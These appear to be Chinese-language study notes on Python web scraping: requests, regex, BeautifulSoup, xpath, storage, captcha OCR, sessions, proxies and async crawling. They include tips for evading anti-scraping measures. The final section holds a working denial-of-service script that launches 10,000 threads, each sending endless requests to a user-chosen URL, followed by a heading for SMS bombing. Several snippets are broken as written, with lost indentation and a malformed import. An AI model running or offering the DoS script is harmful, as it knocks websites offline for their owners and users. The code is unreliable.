Python爬虫

text::Python

text::Html+CSS

text::计算机网络


一、基础知识

1 爬虫防抓

  1. 严格遵守网站设置的robots协议。
  2. 在规避反爬虫措施的同时,需要优化自己的代码,避免干扰被访问网站的正常运行。
  3. 在设置抓取策略时,应注意编码抓取视频、音乐等可能构成作品的数据,或者针对某些特定网站批量抓取其中的用户生成内容。
  4. 在使用、传播抓取到的信息时,应审查所抓取的内容,如发现属于用户的个人信息、隐私或者他人的商业秘密的,应及时停止并删除。

2 爬虫分类

通用爬虫:抓取系统重要组成部分,抓取的是一整张页面:

  1. 指定url
    1. 发起请求
  2. 获取响应数据
  3. 持久化存储

聚焦爬虫:建立在通用爬虫基础之上,抓取的是页面特定的局部内容:

  1. 指定url
  2. 发起请求
  3. 获取响应数据
    1. 数据解析
  4. 持久化存储

增量式爬虫:监测网站中数据更新的情况,只会抓取网站更新出来的数据。

3 反爬机制与反反爬策略

反爬机制 解释
robots.txt协议 君子协议。规定了网站中哪些数据可以被爬取,哪些数据不可以被爬取。(没有强制限定)
UA检测:检测身份 门户网站会检测请求载体的身份,若不是基于某一浏览器的,则表示该请求不正常,服务器很可能会拒绝该次请求。
IP封锁 封锁IP。
反反爬策略 解释
UA伪装:伪装成某一浏览器 具体:requests库——UA伪装。
代理 解决IP封锁问题

robots协议

案例 代码
全部禁止 User-agent:*
Disallow: /
全部允许 User-agent:*
Allow: /
仅禁止某一些爬虫 User-agent:Baiduspider
Disallow: /
仅允许某一些爬虫 User-agent:Baiduspider
Allow: /
User-agent:Googlebot
Allow: /
User-agent:*
Disallow: /

二、数据爬取

1 requests库定义

定义:Python中原生的一款基于网络请求的模块。

作用:模拟浏览器发送请求。

2 简单流程

# 1、指定url
url = "https://123.sogou.com/"

# 2、发起请求
response = requests.get(url=url)

# 3、获取响应数据
page_text = response.text
print(page_text)

# 4、持久化存储
with open("./save.txt","w",encoding="UTF-8") as fp:
fp.write(page_text)

3 详细请求

get与post参数

post方法

# get请求
# 字典封装参数
param = {"query":value} # 请求参数
header = {"User-Agent ":value} # 报头

# 发起请求(url,超时时间,参数,报头)
response = requests.get(url=url,timeout=15,params=param,headers=header)


# post请求
# 字典封装参数
data = {} # 表单字典
file = {"name":(path,param),...} # files:文件上传字典

# 发起请求(url,超时时间,参数,报头,[文件上传])
response = requests.post(url=url,timeout=15,data=data ,headers=header,[files=file])

# 处理数据
data = response.text / text() # 文本
data = response.content / read() # 二进制
data = response.json / json() # 对象

4 其他情况

UA:User-Agent,代理。

门户网站会检测请求载体的身份,若不是基于某一浏览器的,则表示该请求不正常,服务器很可能会拒绝该次请求。

XHR

# UA伪装
# 头伪装参数
User-Agent=value # 代理服务器
referer=value # 链接来源网址

# 伪装案例
header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"}


# ajax请求
# 网址是:https://fanyi.baidu.com/sug(是ajax请求新更新的网址)
data = {"kw":value}
header = {"User-Agent":value}
response = requests.post(url=url,timeout=15,data=data,headers=header)
dic_json = requests.json()

5 技巧

有的页面数据并不是直接存在html中的,而是通过ajax请求获得了一次。

新生成的页面可能域名是一致的,但是参数不一致。

F12——Ctrl + F:搜索


三、数据解析

1 原理

标签定位。提取标签、标签属性中存储的数据值。

2 re库

正则表达式

正则表达式教程

测试网站

常用正则表达式大全

普通使用 解释
e? e 出现 0-1 次
b* b 出现 0-n 次
h+ h 出现 1-n 次
b{} 出现次数限定,b{6}(6次),b{2,6}(2-6次),b{2,}(2次以上)
[] 指定字符范围。[a-z][a-zA-Z][a-zA-Z0-9][^0-9](除0-9外所有字符(包括元字符))
(ab)+ ab 出现 1-n 次
`(cat dog)` cat 或 dog
特殊字符 解释
\d 数字字符
\D 非数字字符
\w 英文、数字及下划线
\W 非单词字符
\s 空白符(tab和换行)
\S 非空白字符
\b 单词开头或结尾,单词的分界处
. 任意字符(不包换行符 )
^a 只匹配行首a,头要是a
a$ 只匹配行尾a,尾要是a
使用技巧 解释
标签匹配 <.+?>。不加 ? 会全匹配,加了会从贪婪匹配变成懒惰匹配
RGB十六进制匹配 #[a-fA-F0-9]{6}\b
IPv4匹配 `\b((25[0-5] 2[0-4]\d [01]?\d\d?).){3}(25[0-5] 2[0-4]\d [01]?\d\d?)\b(会匹配:00.00.00.00)`

re库

python的re

# 编译正则表达式
pattern = re.compile(pattern,flags)。
# 找到第一个,输出是 lst.group()
lst = pattern.search(str)
# 找到所有。(数据解析:re.S)
lst = pattern.findall(str,flags)
# 贪婪匹配与非贪婪匹配
import re

strs = "<a>Hello</a><a>World</a>"

greedy = re.findall("<a>(.*)</a>", strs)
nonGreedy = re.findall("<a>(.*?)</a>", strs)

print(greedy) # 贪婪:['Hello</a><a>World']
print(nonGreedy) # 非贪婪:['Hello', 'World']

3 BeautifulSoup库

原理

  1. 实例化一个BeautifulSoup对象,并且将页面源码数据加载到该对象中。
  2. 通过调用BeautifulSoup对象中相关的属性或者方法进行标签定位和数据提取。
# 导入
pip install beautifulsoup4
pip install lxml

import bs4 from BeautifulSoup


# 实例化BeautifulSoup对象
# 本地加载
with open("0.txt","r",encoding="utf-8") as f:
soup = BeautifulSoup(f,"lxml")

# 网络加载
page_text = response.text
soup = BeautifulSoup(page_text,"lxml")

属性和方法

# 取得标签
# 返回html第一次出现的标签(tagName:填tag名称)
soup.tagName
# 同理于soup.tagName(attr填标签属性,以此找到第一个满足条件的标签,例:type="text/javascript"(class要加下划线变成class_)

# 发现一个标签
soup.find("tag"[,attr])
soup.find(class_ = 'item-1')

# 满足要求的所有标签
soup.find_all("tag" [,attr])
soup.find_all(attrs={'class':'item-1'})

# 返回一个满足要求的标签的列表
'''
selector:id(#),class(.),标签选择器,例:
soup.select(".tang > ul > li > a")( > :一个层级,space:多个层级)
'''
soup.select("selector")


# 获得文本
soup.tagName.text/string/get_text()

# 获得某一个标签中的所有内容
text/get_text()

# 只获得该标签的直系内容(标签中标签的内容无法获得)
string

# 整理文本
# 按照标准缩进格式输出
soup.prettify()

简单使用

bs4简单使用

4 xpath库

优势:最常用且最便捷高效的一种解析方式,通用性强,可以用于别的语言。

原理:

  1. 实例化一个etree对象,并且将页面源码数据加载到该对象中。
  2. 通过调用etree对象中xpath方法结合着xpath表达式实现标签的定位和内容的捕获。
# 导入
pip install lxml

from lxml import etree


# 实例化etree对象
# 本地加载
parser = etree.HTMLParser(encoding="UTF-8")
et = etree.parse( filePath,parser=parser)

# 网络加载
et = etree.HTML( page_text)
# 返回:一个列表,包含所有满足条件的<Element LabelName>
res = et.xpath( "xpath表达式" )

# ./:从当前标签开始(li开始,先取到li)
res = li.xpath("./div")

# / :表示从根节点开始定位
res = et.xpath("/html/head/script")

# // :表示多个层级,或表示从任意位置开始定位
res = et.xpath("/html//script")
res = et.xpath("//script")

# [@label= "value"]:表示属性定位
res = et.xpath('//script[@type="text/javascript"]')

# [num]:表示第几个标签(索引从1开始)
res = et.xpath('//script[@type="text/javascript"][1]')

# /text():获取标签中直系的文本内容
res = et.xpath('//script[@type="text/javascript"][1]/text()')

# //text():获取标签中非直系的文本内容
res = et.xpath('//script[@type="text/javascript"][1]//text()')

# /@attrName:获取标签中的属性值
res = et.xpath('//script[2]/@type')

四、数据存储

1 json

json库

loads链接

# 存入文件(获取的数据中有中文,设置ascii存储关闭)
json.dump(data,fp,ensure_ascii=False)

# 字符串变json
res = json.loads(str)

2 excel

3 sqlite

可以下载插件Database Navigator对数据库进行查看。

初次下载后DB browser会出现在软件左侧,Database是PyCharm专业版自带的。

新建数据库点击”+”号,然后找到Connection中的Database files,添加路径。

import sqlite3

# 打开或创建数据库文件
conn = sqlite3.connect("name.db")

# 获取游标
p = conn.cursor()

# 执行sql语句
sql = ""
res = p.execute(sql)
# 参数化执行
res = p.execute("INSERT INTO public_key (pubkey) VALUES (?)", (public_key,))

# 获取查询结果集中的所有数据
rows = cursor.fetchall()
# 用于获取查询结果集中的下一行数据
p.fetchone()

# select的结果可以按如下方法查看
for row in res:
print("id = ",row[0])
print("name = ",row[1])
...

# 提交数据库
conn.commit()

#关闭链接
conn.close()

五、身份认证

1 验证码

步骤:

  1. 下载验证码图片到本地。
  2. 识别验证码。
  3. 上传结果登入成功。(登入成功的post请求中带有验证码参数,进行修改)

响应状态码:res = response.status_code(200为成功)

高级验证:使用超级鹰。

# 简单验证
pip install ddddocr

import ddddocr
ocr = ddddocr.DdddOcr()

with open ('jpg', 'rb') as f:
img_bytes = f.read()
res = ocr.classification( img_bytes )
print(res)

Http数据包:Request Headers——Cookie

手动Cookie:headers = { "cookie":"value" }

自动Cookie:模拟登入post请求后,由服务器创建。

session会话对象:

  1. 可以进行请求的发送。
  2. 如果请求过程中产生了cookie,则该 cookie 会被自动存储 / 携带在该 session 对象中。

session使用:

  1. 创建session对象:session = requests.Session()
  2. 使用session对象进行模拟登入(找到是哪个 url 设置了 cookie 值(set-cookie)):session.post()(参数同requests)
  3. session对象对目标进行get请求(携带了cookie):session.get()(参数同requests)

3 代理

目的:破解封IP反爬机制。

作用:突破IP访问限制,伪装IP。

使用:requests.get/post(proxies = {"type":"IP:Port"})(type:类型)

代理 IP 透明度:

  • 透明:服务器知道该次请求使用了代理,也知道请求对应的真真实IP。
  • 匿名:服务器知道使用了代理,不知道真实IP。
  • 高匿:服务器不知道使用了代理和IP地址。

代理网站:


六、高性能异步爬虫

1 多线程、多进程

不建议使用。

特点:

  • 优势:可以为相关阻塞的操作单独开启线程或者进程,阻塞操作救可以异步执行。
  • 劣势:无法无限制的开启多线程或者多进程,比较耗费资源,会乱序。

2 线程池、进程池

适当使用。

特点:

  • 优势:可以降低系统对进程或者线程创建和销毁的一个频率,从而很好地降低系统的开销。
  • 劣势:池中线程或进程的数量有上限,会乱序。
  • 使用:线程池应应用于阻塞且耗时的操作。
from multiprocessing.dummy import Pool

# 一个线程池中创建几个线程对象
pool = Pool(num)
# 为函数异步执行可迭代对象,返回值是函数的返回值(一个列表)
pool.map(func,iterable)
# 关闭线程池
pool.close()
# 主线程结束后子线程结束
pool.join()
  • ==案例==

    B站UP主岚山蓝啊的专栏

3 单线程 + 异步协程

3.1 基本API

推荐使用。

对象或方法 解释
event_loop 事件循环,相当于一个无限循环,我们可以把一些函数注册到这个事件循环上,当满足某些条件的时候,函数就会被循环执行
coroutine 协程对象,我们可以将协程对象注册到事件循环中,它会被事件循环调用。我们可以使用
async 定义一个方法,这个方法在调用时不会立即被执行,而是返回一个协程对象
task 任务,它是对协程对象的进一步封装,包含了任务的各个状态
future 代表将来执行或还没有执行的任务,实际上和 task没有本质区别
async 定义一个协程
await 用来挂起阻塞方法的执行

3.2 单任务使用

import asyncio

# 定义协程
async def re(url:str):
print("Doing url",url)
print("end")

c = re("[www.baidu.com](http://www.baidu.com/)")

# 创建一个事件循环对象并执行
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
loop.run_until_complete(c)

# 直接启动协程
asyncio.run(c)

# 封装到 task 中
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
task = loop.create_task(c)

# 封装到 future 中
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
task = asyncio.ensure_future(c,loop=loop)
loop.run_until_complete(task)

# 绑定回调(task执行成功后会自动执行回调函数,参数为 task )
def callback_func(task):
print(task.result()) # task 绑定的函数的返回值
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
task = asyncio.ensure_future(c,loop=loop)
task.add_done_callback(callback_func)
loop.run_until_complete(task)

3.3 多任务使用

import asyncio
import time

async def request(url:str):
print("Downloading",url,"...")
# 异步协程不能有同步模块代码,所以不能用 time.sleep(2),否则不会异步
# 在 asyncio 遇到的阻塞操作必须手动挂起,不然会报错
await asyncio.sleep(2)
print("OK for",url)

start = time.time()
urls = ["www.baidu.com","www.sogou.com","www.google.com"]
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)

# 存放多个任务对象
stasks = []
for url in urls:
c = request(url)
task = asyncio.ensure_future(c,loop=loop)
stasks.append(task)
# 多任务对象列表需要封装到 wait 中
loop.run_until_complete(asyncio.wait(stasks))
print(time.time()-start)

3.4 flask快速搭建网页

from flask import Flask
import time
app = Flask(__name__)

@app.route('/')
def index_main():
time.sleep(2)
return 'Hello World'

if __name__ == '__main__':
app.run()

3.5 aiohttp模块

因为resquests.get()是基于同步,所以基于异步需要 aiohttp 模块

async def request(url:str):
print("Downloading... ")
async with aiohttp.ClientSession() as session:
# 参数同requests.get(),post()同理
async with session.get(url) as response:
# 不挂起会异常,或者不用函数,直接text
page_text = await response.text()
print(page_text)
print("Finished")

七、自动化

1 Selenium模块

text::Selenium模块


八、scrapy框架

text::Scrapy模块


九、案例

1 简单DOS攻击

my::DOS

import threading
import requests
def Dos(url:str)->None:
header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"}
while True:
try:
response = requests.get(url,headers=header)
# print("Code:%s"%response.status_code)
except:
pass
if __name__ == '__main__':
url = input("输入网址:")
for i in range(10000):
threading.Thread(target=Dos,args=(url,)).start()

2 短信轰炸

短信轰炸